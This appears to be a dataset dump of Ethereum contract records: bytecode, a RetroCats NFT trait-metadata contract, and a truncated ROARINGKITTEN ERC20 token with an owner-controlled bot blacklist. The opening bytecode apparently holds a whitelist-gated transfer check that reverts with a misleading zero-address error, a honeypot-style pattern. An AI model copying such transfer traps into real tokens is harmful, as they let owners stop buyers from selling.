811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209a2c43d822ec91141f3001127c6d6c4f161c4ccf2db4f7dae02b07552fd4da3d64736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,181
0x8046586928C62B564Ea0ACb9c5d143cAB2f345fC
// SPDX-License-Identifier: MIT /** ██████╗ ███████╗████████╗██████╗ ██████╗ ██████╗ █████╗ ████████╗███████╗ ██╔══██╗██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗ ██╔════╝██╔══██╗╚══██╔══╝██╔════╝ ██████╔╝█████╗ ██║ ██████╔╝██║ ██║ ██║ ███████║ ██║ ███████╗ ██╔══██╗██╔══╝ ██║ ██╔══██╗██║ ██║ ██║ ██╔══██║ ██║ ╚════██║ ██║ ██║███████╗ ██║ ██║ ██║╚██████╔╝ ╚██████╗██║ ██║ ██║ ███████║ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ ███╗ ███╗███████╗████████╗ █████╗ ██████╗ █████╗ ████████╗ █████╗ ████╗ ████║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗ ██╔████╔██║█████╗ ██║ ███████║██║ ██║███████║ ██║ ███████║ ██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██║ ██║██╔══██║ ██║ ██╔══██║ ██║ ╚═╝ ██║███████╗ ██║ ██║ ██║██████╔╝██║ ██║ ██║ ██║ ██║ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ <<https://github.com/retro-cats/retro-cats-contracts>> */ pragma solidity 0.8.7; /* * @title Our contract for describing what a cat looks like. * @dev This contract has almost 0 functionality, except for rngToCat * which is used to "say" what the random number (the DNA) * of a cat would result in for a cat */ contract RetroCatsMetadata { uint256 internal s_maxChanceValue = 10000; struct RetroCat { Background background; Frame frame; Breed breed; Eyes eyes; Hair hair; Bling bling; Head head; Item item; Ring ring; Earring earring; Vice vice; } struct TraitMetadata { uint256[34] backgrounds; uint256[12] frames; uint256[16] breeds; uint256[10] eyes; uint256[21] hairs; uint256[22] blings; uint256[21] heads; uint256[22] items; uint256[22] rings; uint256[22] earrings; uint256[22] vices; } enum Background { Black, Blue, Green, Grey, Orange, Pink, Purple, Red, Yellow, LightBlue, LightGreen, LightPink, LightYellow, D1B, D1O, D1P, D1Y, D2B, D2O, D2P, D2Y, D3B, D3O, D3P, D3Y, D4B, D4O, D4P, D4Y, D5B, D5O, D5P, D5Y } enum Frame { Black, Brass, Browne, Glit, Gold, Leather, Pine, Silver, White, Wood, None } enum Breed { Bengal, Calico, Chimera, HighColor, Mitted, Solid, Tabby, Tortie, Tuxedo, Van, Cloud, Lightning, Mister, Spotty, Tiger } enum Eyes { BlueOpen, BlueWink, Closed, GreenOpen, GreenWink, OrangeOpen, OrangeWink, YellowOpen, YellowWink } enum Hair { Braid, Dreads, Fro, LongFlipped, LongStraight, Mullet, Muttonchops, Pageboy, ShortFlipped, None, BrownShag, GingerBangs, GingerShag, LongRocker, Pigtails, PunkSpikes, StackedPerm, TinyBraids, TVMom, Wedge } enum Bling { BlueNeckscarf, CopperBracelet, DiscoChest, HandlebarMustache, LongMustache, LoveBeads, MoonNecklaces, PeaceNecklace, PearlNecklace, PukaShellNecklace, CollarCuffs, FeatherBoa, CameoChoker, Woodenbeads, GoldFringe, TurquoiseNecklace, OrangeBoa, CoralNecklace, SilverFringe, SilverMoon, SunnyBeads } enum Head { AviatorGlasses, Daisy, Eyepatch, Headband, Headscarf, HeartGlasses, NewsboyCap, RoundGlasses, SquareGlasses, TopHat, BraidedHeadband, DaisyHeadband, DiscoHat, GoldTBand, GrandmaGlasses, GrandpaGlasses, GreenGlasses, RainbowScarf, RedBeret, TinselWig } enum Item { Atari, Disco, Ether, FlooyDisc, Houseplants, LandscapePainting, LavaLamp, PalmSurboard, Record, RedGuitar, TennisRacket, NerfFootball, Skateboard, Personalcomputer, Afghan, Fondue, LawnDarts, Rollerskates, Phone, Bicycle, Chair } enum Ring { Emerald, MoodBlue, MoodGreen, MoodPurple, MoodRed, Onyx, Ruby, Sapphire, Tortoiseshell, Turquoise, ChainRings, StackRings, NoseRing, MensGoldRing, MoonRing, EtherRing, OrbRing, GiantDiamond, TattooCat, TattooFish, TattooBird } enum Earring { Coral, DiamondStuds, GoldBobs, GoldChandelier, GoldHoops, OrangeWhite, RubyStuds, SilverHoops, Tortoiseshell, Turquoise, None, BlueWhite, GreenWhite, SilverChandelier, SapphireStuds, EmeraldStuds, PearlBobs, GoldChains, SilverChains, PinkMod, GoldJellyfish } enum Vice { Beer, Bong, Cigarette, Eggplant, JelloSalad, Joint, Mushrooms, PetRock, PurpleBagOfCoke, Whiskey, CheeseBall, ProtestSigns, TequilaSunrise, Grasshopper, PinaColada, QueensofDestructionCar, SPF4, SWPlush, SlideProjector, Tupperware, TigerMagazine } uint256 public constant maxChanceValue = 10000; string public constant purr = "Meow!"; /** * @dev Percentages for each trait * @dev each row will always end with 10000 * When picking a trait based on RNG, we will get a value between 0 - 99999 * We choose the trait based on the sum of the integers up to the index * For example, if my random number is 251, and my array is [250, 200, 10000] * This means my trait is at the 1st index. 251 is higher than 250, but lower than * 250 + 200 */ function traits() public pure returns (TraitMetadata memory allTraits) { allTraits = TraitMetadata( // backgrounds [500, 1100, 600, 1000, 900, 1400, 700, 2000, 800, 400, 270, 30, 100, 1, 6, 11, 16, 2, 7, 12, 17, 3, 8, 13, 18, 4, 9, 14, 19, 5, 10, 15, 10, maxChanceValue], // frames [250, 150, 300, 200, 40, 10, 80, 70, 400, 100, 8400, maxChanceValue], // breeds [90, 600, 75, 400, 900, 2700, 2100, 155, 2600, 280, 35, 1, 5, 50, 9, maxChanceValue], // eyes [1200, 10, 2000, 1400, 90, 1800, 1000, 1600, 900, maxChanceValue], // hairs [600, 4, 1000, 1200, 1200, 1, 500, 300, 700, 1600, 400, 450, 5, 7, 80, 3, 650, 350, 750, 200, maxChanceValue], // blings [1100, 200, 800, 500, 200, 700, 1400, 400, 800, 600, 1200, 40, 2, 350, 250, 450, 5, 50, 300, 650, 3, maxChanceValue], // heads [1200, 1100, 1, 1300, 600, 300, 1000, 400, 350, 900, 250, 60, 4, 300, 550, 500, 30, 950, 200, 5, maxChanceValue], // items [90, 800, 1, 1400, 1200, 900, 700, 550, 1300, 1000, 6, 400, 600, 200, 50, 60, 150, 250, 40, 300, 3, maxChanceValue], // rings [400, 1000, 900, 600, 850, 1300, 1200, 800, 500, 700, 250, 200, 150, 200, 500, 60, 350, 30, 1, 6, 3, maxChanceValue], // earings [400, 1, 200, 90, 1200, 500, 200, 1000, 300, 600, 3000, 250, 450, 105, 7, 5, 375, 725, 575, 4, 13, maxChanceValue], // vices [1000, 420, 1100, 1300, 50, 1200, 1450, 7, 30, 500, 400, 550, 200, 650, 460, 1, 20, 54, 2, 600, 6, maxChanceValue] ); } function rngToCat(uint256 randomNumber) external pure returns (RetroCat memory retroCat) { TraitMetadata memory allTraits = traits(); // retroCat = RetroCat(Background(traitIndexes[0]),Frame(1),Breed(1),Eyes(1),Hair(1),Bling(1),Head(1),Item(1),Ring(1),Earring(1),Vice(1)); retroCat = RetroCat({ background: Background(getTraitIndex(allTraits.backgrounds, getModdedRNG(randomNumber, 0))), frame: Frame(getTraitIndex(allTraits.frames, getModdedRNG(randomNumber, 1))), breed: Breed(getTraitIndex(allTraits.breeds, getModdedRNG(randomNumber, 2))), eyes: Eyes(getTraitIndex(allTraits.eyes, getModdedRNG(randomNumber, 3))), hair: Hair(getTraitIndex(allTraits.hairs, getModdedRNG(randomNumber, 4))), bling: Bling(getTraitIndex(allTraits.blings, getModdedRNG(randomNumber, 5))), head: Head(getTraitIndex(allTraits.heads, getModdedRNG(randomNumber, 6))), item: Item(getTraitIndex(allTraits.items, getModdedRNG(randomNumber, 7))), ring: Ring(getTraitIndex(allTraits.rings, getModdedRNG(randomNumber, 8))), earring: Earring(getTraitIndex(allTraits.earrings, getModdedRNG(randomNumber, 9))), vice: Vice(getTraitIndex(allTraits.vices, getModdedRNG(randomNumber, 10))) }); } function getModdedRNG(uint256 randomNumber, uint256 seed) public pure returns (uint256 modded_rng) { uint256 newRng = uint256(keccak256(abi.encode(randomNumber, seed))); modded_rng = newRng % maxChanceValue; } function getTraitIndex(uint256[10] memory traitArray, uint256 moddedRNG) private pure returns (uint256) { uint256 cumulativeSum = 0; for (uint256 i = 0; i < traitArray.length; i++) { if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) { return i; } cumulativeSum = cumulativeSum + traitArray[i]; } revert("Value outside maxChanceValue"); } function getTraitIndex(uint256[12] memory traitArray, uint256 moddedRNG) private pure returns (uint256) { uint256 cumulativeSum = 0; for (uint256 i = 0; i < traitArray.length; i++) { if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) { return i; } cumulativeSum = cumulativeSum + traitArray[i]; } revert("Value outside maxChanceValue"); } function getTraitIndex(uint256[16] memory traitArray, uint256 moddedRNG) private pure returns (uint256) { uint256 cumulativeSum = 0; for (uint256 i = 0; i < traitArray.length; i++) { if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) { return i; } cumulativeSum = cumulativeSum + traitArray[i]; } revert("Value outside maxChanceValue"); } function getTraitIndex(uint256[21] memory traitArray, uint256 moddedRNG) private pure returns (uint256) { uint256 cumulativeSum = 0; for (uint256 i = 0; i < traitArray.length; i++) { if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) { return i; } cumulativeSum = cumulativeSum + traitArray[i]; } revert("Value outside maxChanceValue"); } function getTraitIndex(uint256[22] memory traitArray, uint256 moddedRNG) private pure returns (uint256) { uint256 cumulativeSum = 0; for (uint256 i = 0; i < traitArray.length; i++) { if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) { return i; } cumulativeSum = cumulativeSum + traitArray[i]; } revert("Value outside maxChanceValue"); } function getTraitIndex(uint256[34] memory traitArray, uint256 moddedRNG) private pure returns (uint256) { uint256 cumulativeSum = 0; for (uint256 i = 0; i < traitArray.length; i++) { if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) { return i; } cumulativeSum = cumulativeSum + traitArray[i]; } revert("Value outside maxChanceValue"); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806354b02b3b1461005c578063be5d23d314610096578063dc90579a146100ad578063dd6902fa146100cd578063e1fc334f146100e0575b600080fd5b610080604051806040016040528060058152602001644d656f772160d81b81525081565b60405161008d91906111d2565b60405180910390f35b61009f61271081565b60405190815260200161008d565b6100c06100bb36600461105b565b6100f5565b60405161008d9190611227565b61009f6100db366004611074565b6103b8565b6100e8610405565b60405161008d9190611305565b6100fd610eb0565b6000610107610405565b905060405180610160016040528061012d83600001516101288760006103b8565b610b5d565b602081111561013e5761013e611455565b602081111561014f5761014f611455565b815260200161016c83602001516101678760016103b8565b610c30565b600a81111561017d5761017d611455565b600a81111561018e5761018e611455565b81526020016101ab83604001516101a68760026103b8565b610cb0565b600e8111156101bc576101bc611455565b600e8111156101cd576101cd611455565b81526020016101ea83606001516101e58760036103b8565b610d30565b60088111156101fb576101fb611455565b600881111561020c5761020c611455565b815260200161022983608001516102248760046103b8565b610db0565b601381111561023a5761023a611455565b601381111561024b5761024b611455565b81526020016102688360a001516102638760056103b8565b610e30565b601481111561027957610279611455565b601481111561028a5761028a611455565b81526020016102a28360c001516102248760066103b8565b60138111156102b3576102b3611455565b60138111156102c4576102c4611455565b81526020016102dc8360e001516102638760076103b8565b60148111156102ed576102ed611455565b60148111156102fe576102fe611455565b81526020016103178361010001516102638760086103b8565b601481111561032857610328611455565b601481111561033957610339611455565b81526020016103528361012001516102638760096103b8565b601481111561036357610363611455565b601481111561037457610374611455565b815260200161038d83610140015161026387600a6103b8565b601481111561039e5761039e611455565b60148111156103af576103af611455565b90529392505050565b60008083836040516020016103d7929190918252602082015260400190565b60408051601f19818403018152919052805160209091012090506103fd6127108261141d565b949350505050565b61040d610f0b565b6040518061016001604052806040518061044001604052806101f4815260200161044c815260200161025881526020016103e88152602001610384815260200161057881526020016102bc81526020016107d081526020016103208152602001610190815260200161010e8152602001601e8152602001606481526020016001815260200160068152602001600b8152602001601081526020016002815260200160078152602001600c8152602001601181526020016003815260200160088152602001600d8152602001601281526020016004815260200160098152602001600e81526020016013815260200160058152602001600a8152602001600f8152602001600a8152602001612710815250815260200160405180610180016040528060fa81526020016096815260200161012c815260200160c8815260200160288152602001600a815260200160508152602001604681526020016101908152602001606481526020016120d081526020016127108152508152602001604051806102000160405280605a81526020016102588152602001604b815260200161019081526020016103848152602001610a8c81526020016108348152602001609b8152602001610a2881526020016101188152602001602381526020016001815260200160058152602001603281526020016009815260200161271081525081526020016040518061014001604052806104b08152602001600a81526020016107d081526020016105788152602001605a815260200161070881526020016103e88152602001610640815260200161038481526020016127108152508152602001604051806102a001604052806102588152602001600481526020016103e881526020016104b081526020016104b08152602001600181526020016101f4815260200161012c81526020016102bc8152602001610640815260200161019081526020016101c281526020016005815260200160078152602001605081526020016003815260200161028a815260200161015e81526020016102ee815260200160c881526020016127108152508152602001604051806102c0016040528061044c815260200160c8815260200161032081526020016101f4815260200160c881526020016102bc815260200161057881526020016101908152602001610320815260200161025881526020016104b08152602001602881526020016002815260200161015e815260200160fa81526020016101c28152602001600581526020016032815260200161012c815260200161028a8152602001600381526020016127108152508152602001604051806102a001604052806104b0815260200161044c8152602001600181526020016105148152602001610258815260200161012c81526020016103e88152602001610190815260200161015e8152602001610384815260200160fa8152602001603c81526020016004815260200161012c815260200161022681526020016101f48152602001601e81526020016103b6815260200160c88152602001600581526020016127108152508152602001604051806102c00160405280605a815260200161032081526020016001815260200161057881526020016104b0815260200161038481526020016102bc8152602001610226815260200161051481526020016103e88152602001600681526020016101908152602001610258815260200160c8815260200160328152602001603c81526020016096815260200160fa81526020016028815260200161012c8152602001600381526020016127108152508152602001604051806102c0016040528061019081526020016103e8815260200161038481526020016102588152602001610352815260200161051481526020016104b0815260200161032081526020016101f481526020016102bc815260200160fa815260200160c881526020016096815260200160c881526020016101f48152602001603c815260200161015e8152602001601e81526020016001815260200160068152602001600381526020016127108152508152602001604051806102c0016040528061019081526020016001815260200160c88152602001605a81526020016104b081526020016101f4815260200160c881526020016103e8815260200161012c81526020016102588152602001610bb8815260200160fa81526020016101c2815260200160698152602001600781526020016005815260200161017781526020016102d5815260200161023f815260200160048152602001600d81526020016127108152508152602001604051806102c001604052806103e881526020016101a4815260200161044c81526020016105148152602001603281526020016104b081526020016105aa815260200160078152602001601e81526020016101f481526020016101908152602001610226815260200160c8815260200161028a81526020016101cc815260200160018152602001601481526020016036815260200160028152602001610258815260200160068152602001612710815250815250905090565b600080805b6022811015610bdd57818410158015610b9a5750848160228110610b8857610b8861146b565b6020020151610b9790836113ea565b84105b15610ba8579150610c2a9050565b848160228110610bba57610bba61146b565b6020020151610bc990836113ea565b915080610bd581611402565b915050610b62565b5060405162461bcd60e51b815260206004820152601c60248201527f56616c7565206f757473696465206d61784368616e636556616c756500000000604482015260640160405180910390fd5b92915050565b600080805b600c811015610bdd57818410158015610c6d57508481600c8110610c5b57610c5b61146b565b6020020151610c6a90836113ea565b84105b15610c7b579150610c2a9050565b8481600c8110610c8d57610c8d61146b565b6020020151610c9c90836113ea565b915080610ca881611402565b915050610c35565b600080805b6010811015610bdd57818410158015610ced5750848160108110610cdb57610cdb61146b565b6020020151610cea90836113ea565b84105b15610cfb579150610c2a9050565b848160108110610d0d57610d0d61146b565b6020020151610d1c90836113ea565b915080610d2881611402565b915050610cb5565b600080805b600a811015610bdd57818410158015610d6d57508481600a8110610d5b57610d5b61146b565b6020020151610d6a90836113ea565b84105b15610d7b579150610c2a9050565b8481600a8110610d8d57610d8d61146b565b6020020151610d9c90836113ea565b915080610da881611402565b915050610d35565b600080805b6015811015610bdd57818410158015610ded5750848160158110610ddb57610ddb61146b565b6020020151610dea90836113ea565b84105b15610dfb579150610c2a9050565b848160158110610e0d57610e0d61146b565b6020020151610e1c90836113ea565b915080610e2881611402565b915050610db5565b600080805b6016811015610bdd57818410158015610e6d5750848160168110610e5b57610e5b61146b565b6020020151610e6a90836113ea565b84105b15610e7b579150610c2a9050565b848160168110610e8d57610e8d61146b565b6020020151610e9c90836113ea565b915080610ea881611402565b915050610e35565b604080516101608101909152806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160005b905290565b604051806101600160405280610f1f610fa1565b8152602001610f2c610fc0565b8152602001610f39610fdf565b8152602001610f46610ffe565b8152602001610f5361101d565b8152602001610f6061103c565b8152602001610f6d61101d565b8152602001610f7a61103c565b8152602001610f8761103c565b8152602001610f9461103c565b8152602001610f0661103c565b6040518061044001604052806022906020820280368337509192915050565b604051806101800160405280600c906020820280368337509192915050565b6040518061020001604052806010906020820280368337509192915050565b604051806101400160405280600a906020820280368337509192915050565b604051806102a001604052806015906020820280368337509192915050565b604051806102c001604052806016906020820280368337509192915050565b60006020828403121561106d57600080fd5b5035919050565b6000806040838503121561108757600080fd5b50508035926020909101359150565b8060005b600a8110156110b957815184526020938401939091019060010161109a565b50505050565b8060005b600c8110156110b95781518452602093840193909101906001016110c3565b8060005b60108110156110b95781518452602093840193909101906001016110e6565b8060005b60158110156110b9578151845260209384019390910190600101611109565b8060005b60168110156110b957815184526020938401939091019060010161112c565b8060005b60228110156110b957815184526020938401939091019060010161114f565b6021811061117e5761117e611455565b9052565b6015811061117e5761117e611455565b600f811061117e5761117e611455565b6009811061117e5761117e611455565b600b811061117e5761117e611455565b6014811061117e5761117e611455565b600060208083528351808285015260005b818110156111ff578581018301518582016040015282016111e3565b81811115611211576000604083870101525b50601f01601f1916929092016040019392505050565b60006101608201905061123b82845161116e565b602083015161124d60208401826111b2565b5060408301516112606040840182611192565b50606083015161127360608401826111a2565b50608083015161128660808401826111c2565b5060a083015161129960a0840182611182565b5060c08301516112ac60c08401826111c2565b5060e08301516112bf60e0840182611182565b50610100808401516112d382850182611182565b5050610120808401516112e882850182611182565b5050610140808401516112fd82850182611182565b505092915050565b6000611c008201905061131982845161114b565b602083015161132c6104408401826110bf565b5060408301516113406105c08401826110e2565b5060608301516113546107c0840182611096565b506080830151611368610900840182611105565b5060a083015161137c610ba0840182611128565b5060c0830151611390610e60840182611105565b5060e08301516113a4611100840182611128565b506101008301516113b96113c0840182611128565b506101208301516113ce611680840182611128565b506101408301516113e3611940840182611128565b5092915050565b600082198211156113fd576113fd61143f565b500190565b60006000198214156114165761141661143f565b5060010190565b60008261143a57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220734047c5244dd9387a866640dead7c2520a4642c5b671f9fbcd374d9ed16561864736f6c63430008070033
{"success": true, "error": null, "results": {}}
7,182
0xD4959fb4bB30D5b6F362EDD29259D630241246ee
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ROARINGKITTEN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 500000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "ROARING KITTEN"; string private constant _symbol = "KITTEN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xFc64b71Cb5aDb39542861BF6Cb82c8CFc7C38F3D); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 4; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; 